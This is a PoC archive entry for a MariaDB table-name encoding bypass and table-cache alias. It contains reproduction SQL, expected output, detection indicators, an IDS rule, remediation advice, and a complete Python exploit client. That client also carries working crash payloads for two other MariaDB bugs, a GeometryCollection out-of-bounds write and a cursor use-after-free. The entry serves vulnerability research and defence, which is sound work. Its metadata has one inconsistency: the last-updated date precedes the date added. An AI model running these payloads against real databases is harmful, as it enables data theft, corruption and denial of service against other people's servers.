PoC Archive PoC Archive
CVE-2026-92262 category: network CVSS 9.9 (CRITICAL)
Patched

MariaDB #mysql50# Table-Name Encoding Bypass and Table-Cache Alias (CVE-2026-92262)

Published: 2026-11-25 • Researcher: SeanDishman (PoC); MariaDB Security Team (MDEV-40362 / GHSA-65jj-h265-3m7h)

Target software MariaDB Server (table-name filesystem encoding and table-cache / share keying)
Affected versions 10.6.1–10.6.27, 10.11.1–10.11.18, 11.4.1–11.4.12, 11.8.1–11.8.8, 12.3.1–12.3.2 (NVD ranges); also 13.0.1 per the upstream PoC README. Fixed in 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3 and 13.0.2. Lab target: mariadb:13.0.1-rc (13.0.1-MariaDB-ubu2604).
Status PoC
Severity Critical · CVSS 9.9
CVSS 9.9/10
Severity
Critical
CVE
CVE-2026-92262
Category
network
Affected product
MariaDB Server (table-name filesystem encoding and table-cache / share keying)
Affected versions
10.6.1–10.6.27, 10.11.1–10.11.18, 11.4.1–11.4.12, 11.8.1–11.8.8, 12.3.1–12.3.2 (NVD ranges); also 13.0.1 per the upstream PoC README. Fixed in 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3 and 13.0.2. Lab target: mariadb:13.0.1-rc (13.0.1-MariaDB-ubu2604).
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-10-18
Author / ResearcherSeanDishman (PoC); MariaDB Security Team (MDEV-40362 / GHSA-65jj-h265-3m7h)
CVE / AdvisoryCVE-2026-92262
Categorynetwork
SeverityCritical
CVSS Score9.9 (CVSSv3.1, NVD; vector not provided in the source data)
StatusPoC
Tagsmariadb, database, sql, #mysql50#, encoding-bypass, table-cache-alias, cwe-706, low-privilege, data-corruption, file-write
RelatedN/A

Affected Target

FieldValue
Software / SystemMariaDB Server (table-name filesystem encoding and table-cache / share keying)
Versions Affected10.6.1–10.6.27, 10.11.1–10.11.18, 11.4.1–11.4.12, 11.8.1–11.8.8, 12.3.1–12.3.2 (NVD ranges); also 13.0.1 per the upstream PoC README. Fixed in 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3 and 13.0.2. Lab target: mariadb:13.0.1-rc (13.0.1-MariaDB-ubu2604).
Language / PlatformC/C++ MariaDB server; Python 3 PoC client (pymysql); Linux x86_64 (Docker)
Authentication RequiredYes — a valid low-privilege database account with CREATE on one database (no FILE, SUPER or plugin load needed)
Network Access RequiredYes — standard MySQL protocol on TCP 3306

Summary

MariaDB encodes table names when it maps them to on-disk files, but the historical #mysql50# namespace prefix skips that encoding and does not yield a distinct table-cache key. A table created as #mysql50#t therefore shares one cached share and handler with a table created as t, so rows inserted through one name are visible through the other even when the two definitions declare different column widths. A low-privilege account that can create tables can thus alias another table, corrupt or exfiltrate its rows, and crash the server; it can also write files with unencoded, attacker-chosen names such as a-b.frm inside the data directory instead of the encoded a@002db.frm. NVD rates the issue 9.9 Critical (CWE-706) and states that a crafted table name can cause crashes, data corruption, data exfiltration or remote code execution.

Vulnerability Details

Root Cause

MariaDB stores each table in a file whose name is derived from the table name; characters that are unsafe or ambiguous in a filename are encoded, so a table called a-b becomes a@002db.frm. The legacy #mysql50# prefix, kept for compatibility with MySQL 5.0 table names, bypasses that encoding entirely. Two defects follow from the same prefix: the encoding step is skipped, so attacker-controlled characters reach the data directory verbatim, and the prefix is not part of the effective table-cache / share identity, so #mysql50#t and t collide on one cached table share while carrying different column definitions. The upstream advisory is GHSA-65jj-h265-3m7h / MDEV-40362; the fix landed in the MariaDB server repository (commits 574ba66b2d6c5d71db83d416677876e9b592858e and f277eefa424850a8cba5c2371406047f6395e8bb, see references).

Attack Vector

An authenticated low-privilege user sends ordinary SQL over the normal server port. The PoC creates a base table t, then creates #mysql50#t with a deliberately different column width, inserts a row only through the prefixed name, and reads it back through t. It then creates #mysql50#a-b as MyISAM to show that the on-disk files are written unencoded. No FILE, SUPER, plugin load or administrative privilege is required; CREATE on the current database is enough.

Impact

The alias makes two independently defined tables share one storage object, so rows can be read or overwritten across table boundaries with a mismatched row layout: the archived output shows a BINARY(10) column re-read as BINARY(1), truncating the original value and padding the injected one. That gives cross-table data disclosure and integrity loss, and in the upstream NVD description can extend to crashes, data corruption, data exfiltration and remote code execution. The unencoded filename primitive additionally lets an attacker choose filenames created under the data directory (path traversal with ../ is rejected with ERROR 1103 Incorrect table name, so this is not a general arbitrary-path write).

Environment / Lab Setup

Output
OS:          Linux x86_64 with Docker and Docker Compose
Target:      mariadb:13.0.1-rc  (container name mariadb-vuln, port 3306,
             database appdb, user lowpriv / lowpriv, ALL on appdb only,
             started with --core-file)
Attacker:    Python 3.9+ with pymysql, or the mariadb CLI
Tools:       docker compose, pymysql, mariadb client

Setup Steps

Shell script
1
2
3
4
5
bash start.sh

pip install -r requirements.txt

python3 exploit.py --cve 92262 --host localhost --port 3306

The upstream tree keeps the compose file under server/; start.sh resolves its own directory, so it works unchanged from this flat entry folder.

Proof of Concept

Step-by-Step Reproduction

  1. Start the lab — bash start.sh pulls 13.0.1-rc, creates appdb and the lowpriv account and waits for mariadbd to accept connections.

  2. Create the base table and a conflicting prefixed alias — run the 92262 payload through the client (or pipe cve-2026-92262.sql into the mariadb CLI):

    SQL
    1
    2
    3
    4
    5
    
    CREATE TABLE t (id INT, c1 BINARY(10)) ENGINE=MEMORY;
    INSERT INTO t VALUES (1, REPEAT(0x41, 10));
    CREATE TABLE `#mysql50#t` (id INT, c1 BINARY(1)) ENGINE=MEMORY;
    INSERT INTO `#mysql50#t` VALUES (2, 0x42);
    SELECT id, HEX(c1) FROM t ORDER BY id;
  3. Observe the alias — row 2, inserted only through #mysql50#t, is returned by a SELECT on t, and its one-byte value is padded to the ten-byte column. The client prints PROOF 92262: INSERT into #mysql50#t is visible via SELECT on t.

  4. Observe the encoding bypass on disk — create a MyISAM table with an unencoded name and list the data directory:

    SQL
    1
    
    CREATE TABLE `#mysql50#a-b` (id INT) ENGINE=MyISAM;
    Shell script
    1
    
    docker exec mariadb-vuln ls -l /var/lib/mysql/appdb | grep 'a-b'

Exploit Code

See exploit.py (function run_92262) and the equivalent CLI payload cve-2026-92262.sql in this folder.

SQL
1
2
3
4
5
6
7
-- Minimal inline proof: the two names are one cached table
CREATE TABLE t (id INT, c1 BINARY(10)) ENGINE=MEMORY;
INSERT INTO t VALUES (1, REPEAT(0x41, 10));
CREATE TABLE `#mysql50#t` (id INT, c1 BINARY(1)) ENGINE=MEMORY;
INSERT INTO `#mysql50#t` VALUES (2, 0x42);
SELECT id, HEX(c1) FROM t ORDER BY id;   -- row id=2 appears
CREATE TABLE `#mysql50#a-b` (id INT) ENGINE=MyISAM;  -- writes a-b.frm, not a@002db.frm

Expected Output

Output
1
2
3
4
5
6
7
BEFORE   id=1  hex=41414141414141414141
MYSQL50  id=1  hex=41
MYSQL50  id=2  hex=42
AFTER_T  id=1  hex=41414141414141414141
AFTER_T  id=2  hex=42000000000000000000
PROOF 92262: INSERT into #mysql50#t is visible via SELECT on t
PROOF 92262 file: datadir should contain a-b.frm, not a@002db.frm
Output
1
2
3
a-b.frm
a-b.MYD
a-b.MYI

Detection & Indicators of Compromise

  • Statements containing the literal #mysql50# prefix in table names, especially CREATE TABLE or INSERT issued by non-administrative accounts or from unexpected hosts (general log, audit plugin, proxy logs).
  • Data-directory entries whose names are not in MariaDB’s encoded form (for example a-b.frm without a matching a@002db.frm), or new unexpected files under the database directory.
  • Tables visible in information_schema whose names contain #mysql50#.
  • Rows appearing in a table that no application path writes to, or column values truncated or zero-padded in a way the schema does not explain.
  • MariaDB error 1103 Incorrect table name for names containing ../, which indicates probing of the filename primitive.
  • Server crashes or aborted connections immediately after DDL with unusual table names.
Output
1
2
3
4
2026-11-25 21:40:12 12 Query  CREATE TABLE `#mysql50#t` (id INT, c1 BINARY(1)) ENGINE=MEMORY
2026-11-25 21:40:12 12 Query  INSERT INTO `#mysql50#t` VALUES (2, 0x42)
2026-11-25 21:40:13 12 Query  CREATE TABLE `#mysql50#a-b` (id INT) ENGINE=MyISAM
ERROR 1103: Incorrect table name '../x'

SIEM / IDS Rule (example):

Output
1
2
alert tcp any any -> any 3306 (msg:"MariaDB #mysql50# table-name encoding bypass attempt"; \
  content:"#mysql50#"; nocase; flow:to_server,established; sid:9009226;)

Remediation

ActionDetail
PatchUpgrade to MariaDB 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3 or 13.0.2 (or later) and restart mariadbd. Fixed versions per the NVD description and the upstream release tags in references.
WorkaroundUntil patched, revoke CREATE (and where possible DROP/ALTER) from untrusted accounts, and audit existing tables for #mysql50# names. No documented server setting that disables the prefix was found in the reviewed sources.
Config HardeningEnforce least privilege per application database, enable the audit plugin or general log for DDL, restrict 3306 to application hosts, and monitor the data directory for unencoded filenames and unexpected tables. Keep secure_file_priv and filesystem permissions tight because the bug writes into the data directory.

References

Notes

Auto-ingested from https://github.com/SeanDishman/mariadb-cve-2026-92262 on 2026-11-25. Review verdict: real PoC, not a detector or scanner. exploit.py connects as the low-privilege account and executes the vulnerable SQL directly, and the archived output (row id=2 visible through t, unencoded a-b.frm on disk) is the proof. Status is PoC rather than Weaponized because the archived tree demonstrates the table-cache alias, cross-table corruption/read and unencoded filename creation only; the RCE chain described in the NVD text is not implemented here. The upstream README states that the disclosed HackerOne chain (CVE-2026-85748 plus an ST_Area heap over-read leading to a COOP execlp) is deliberately not in the tree.

The repository bundles PoCs for three CVEs (92262, 85746, 85748). Only the CVE-2026-92262 SQL payload and the shared Python client were archived; the sibling SQL files for 85746 and 85748 were not copied, although exploit.py still contains their functions and upstream-README.md documents all three.

License: the repository has no LICENSE file; files are archived with attribution for authorized research only. The compose lab uses dummy credentials (root/root, lowpriv/lowpriv) on a disposable container and binds 3306 on the host, so do not expose it beyond an isolated test network. Category network (rather than the worklist misc hint) reflects a remotely reachable database service exploited over its normal SQL protocol; the related archive entry pocs/binary/2026-08-09_mariadb-low-priv-rce-st-area-cursor-uaf covers a different MariaDB memory-safety bug.

No exploit code was executed during ingestion; all statements above come from reading the source and the upstream README. Run only against systems you own or have written authorization to test.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/SeanDishman/mariadb-cve-2026-92262 (see README for attribution/license)
"""Low-priv MariaDB client for CVE-2026-92262 / 85746 / 85748.

Connects over the normal MySQL protocol. Default account is the
docker-compose app user (ALL on appdb, no FILE/SUPER).
"""
from __future__ import annotations

import argparse
import sys
import time

import pymysql
from pymysql.err import Error, OperationalError, ProgrammingError


def connect(args, retries=1):
    last = None
    for i in range(retries):
        try:
            return pymysql.connect(
                host=args.host,
                port=args.port,
                user=args.user,
                password=args.password,
                database=args.database,
                autocommit=True,
                connect_timeout=10,
                read_timeout=20,
                write_timeout=20,
            )
        except OperationalError as e:
            last = e
            time.sleep(1)
    raise last


def fetchall(cur):
    try:
        rows = cur.fetchall()
    except Exception:
        return []
    cols = [d[0] for d in (cur.description or [])]
    return cols, rows


def print_rows(title, cols, rows):
    print(f"[{title}]")
    if not cols:
        print("  (no result)")
        return
    print("  " + " | ".join(cols))
    for r in rows:
        print("  " + " | ".join("" if x is None else str(x) for x in r))


def run_92262(conn):
    print("=== CVE-2026-92262  #mysql50# cache mixup + encoding bypass ===")
    cur = conn.cursor()
    for stmt in (
        "DROP TABLE IF EXISTS t",
        "CREATE TABLE t (id INT, c1 BINARY(10)) ENGINE=MEMORY",
        "INSERT INTO t VALUES (1, REPEAT(0x41, 10))",
    ):
        cur.execute(stmt)
    cur.execute("SELECT 'BEFORE' AS phase, id, HEX(c1) AS hex_c1 FROM t")
    print_rows("t before", *fetchall(cur))

    try:
        cur.execute("DROP TABLE IF EXISTS `#mysql50#t`")
    except Error as e:
        print(f"  drop #mysql50#t: {e}")
    cur.execute("CREATE TABLE `#mysql50#t` (id INT, c1 BINARY(1)) ENGINE=MEMORY")
    cur.execute("INSERT INTO `#mysql50#t` VALUES (2, 0x42)")
    cur.execute("SELECT 'MYSQL50' AS phase, id, HEX(c1) AS hex_c1 FROM `#mysql50#t`")
    print_rows("#mysql50#t", *fetchall(cur))
    cur.execute("SELECT 'AFTER_T' AS phase, id, HEX(c1) AS hex_c1 FROM t ORDER BY id")
    cols, rows = fetchall(cur)
    print_rows("t after (bug if id=2 is present)", cols, rows)

    ids = [r[1] for r in rows] if rows else []
    if 2 in ids:
        print("PROOF 92262: INSERT into #mysql50#t is visible via SELECT on t")
    else:
        print("FAIL 92262: no mixed rows")

    try:
        cur.execute("DROP TABLE IF EXISTS `#mysql50#a-b`")
    except Error:
        pass
    cur.execute("CREATE TABLE `#mysql50#a-b` (id INT) ENGINE=MyISAM")
    cur.execute("INSERT INTO `#mysql50#a-b` VALUES (1337)")
    cur.execute("SELECT * FROM `#mysql50#a-b`")
    print_rows("#mysql50#a-b", *fetchall(cur))
    print("PROOF 92262 file: datadir should contain a-b.frm, not a@002db.frm")
    cur.close()


def run_85746(conn):
    print("=== CVE-2026-85746  ST_AsText nested GeometryCollection OOB write ===")
    cur = conn.cursor()
    cur.execute("SELECT ST_AsText(ST_GeomFromText('POINT(1 2)')) AS control")
    print_rows("control", *fetchall(cur))
    payload = (
        "SELECT ST_AsText(CONCAT("
        "UNHEX('00000000'),"
        "REPEAT(UNHEX('010700000001000000'), 200),"
        "UNHEX('010100000000000000000000000000000000000000')"
        ")) AS oops"
    )
    print("firing depth=200 GeometryCollection WKB...")
    try:
        cur.execute(payload)
        print_rows("oops (should not return on a vulnerable build)", *fetchall(cur))
        print("FAIL 85746: server returned instead of crashing")
    except (OperationalError, Error) as e:
        print(f"PROOF 85746: connection died during ST_AsText: {e}")
    finally:
        cur.close()


FUNC = """
CREATE FUNCTION trigger_realloc() RETURNS INT
BEGIN
  DECLARE c1 SYS_REFCURSOR; DECLARE c2 SYS_REFCURSOR; DECLARE c3 SYS_REFCURSOR;
  DECLARE c4 SYS_REFCURSOR; DECLARE c5 SYS_REFCURSOR; DECLARE c6 SYS_REFCURSOR;
  DECLARE c7 SYS_REFCURSOR; DECLARE c8 SYS_REFCURSOR; DECLARE c9 SYS_REFCURSOR;
  DECLARE c10 SYS_REFCURSOR; DECLARE c11 SYS_REFCURSOR; DECLARE c12 SYS_REFCURSOR;
  DECLARE c13 SYS_REFCURSOR; DECLARE c14 SYS_REFCURSOR; DECLARE c15 SYS_REFCURSOR;
  DECLARE c16 SYS_REFCURSOR; DECLARE c17 SYS_REFCURSOR;
  OPEN c1 FOR SELECT 1; OPEN c2 FOR SELECT 1; OPEN c3 FOR SELECT 1;
  OPEN c4 FOR SELECT 1; OPEN c5 FOR SELECT 1; OPEN c6 FOR SELECT 1;
  OPEN c7 FOR SELECT 1; OPEN c8 FOR SELECT 1; OPEN c9 FOR SELECT 1;
  OPEN c10 FOR SELECT 1; OPEN c11 FOR SELECT 1; OPEN c12 FOR SELECT 1;
  OPEN c13 FOR SELECT 1; OPEN c14 FOR SELECT 1; OPEN c15 FOR SELECT 1;
  OPEN c16 FOR SELECT 1; OPEN c17 FOR SELECT 1;
  RETURN 1;
END
"""

PROC = """
CREATE PROCEDURE trigger_uaf()
BEGIN
  DECLARE c SYS_REFCURSOR;
  OPEN c FOR SELECT trigger_realloc();
END
"""


def run_85748(conn):
    print("=== CVE-2026-85748  SYS_REFCURSOR cursor-array UAF ===")
    cur = conn.cursor()
    for stmt in (
        "DROP PROCEDURE IF EXISTS trigger_uaf",
        "DROP FUNCTION IF EXISTS trigger_realloc",
    ):
        try:
            cur.execute(stmt)
        except ProgrammingError as e:
            print(f"  {stmt}: {e}")
    cur.execute(FUNC)
    cur.execute(PROC)
    cur.execute("SET SESSION max_open_cursors = 100")
    print("CALL trigger_uaf()  (17 SYS_REFCURSORs realloc the 16-slot array)")
    try:
        cur.execute("CALL trigger_uaf()")
        print_rows("call", *fetchall(cur))
        print("FAIL 85748: server returned instead of crashing")
    except (OperationalError, Error) as e:
        print(f"PROOF 85748: connection died during CALL trigger_uaf(): {e}")
    finally:
        cur.close()


def main():
    p = argparse.ArgumentParser(description="MariaDB 13.0.1 low-priv CVE client")
    p.add_argument("--host", default="localhost")
    p.add_argument("--port", type=int, default=3306)
    p.add_argument("--user", default="lowpriv")
    p.add_argument("--password", default="lowpriv")
    p.add_argument("--database", default="appdb")
    p.add_argument(
        "--cve",
        choices=["92262", "85746", "85748", "all"],
        default="all",
        help="85746 and 85748 each kill mariadbd; run them separately after restart",
    )
    args = p.parse_args()

    which = ["92262", "85746", "85748"] if args.cve == "all" else [args.cve]
    conn = connect(args)
    try:
        cur = conn.cursor()
        cur.execute("SELECT VERSION(), CURRENT_USER()")
        print_rows("session", *fetchall(cur))
        cur.close()
        if "92262" in which:
            run_92262(conn)
        if "85746" in which:
            run_85746(conn)
        if "85748" in which:
            if "85746" in which:
                print("restart mariadbd before 85748, then: python exploit.py --cve 85748")
                return
            run_85748(conn)
    finally:
        try:
            conn.close()
        except Exception:
            pass


if __name__ == "__main__":
    sys.exit(main() or 0)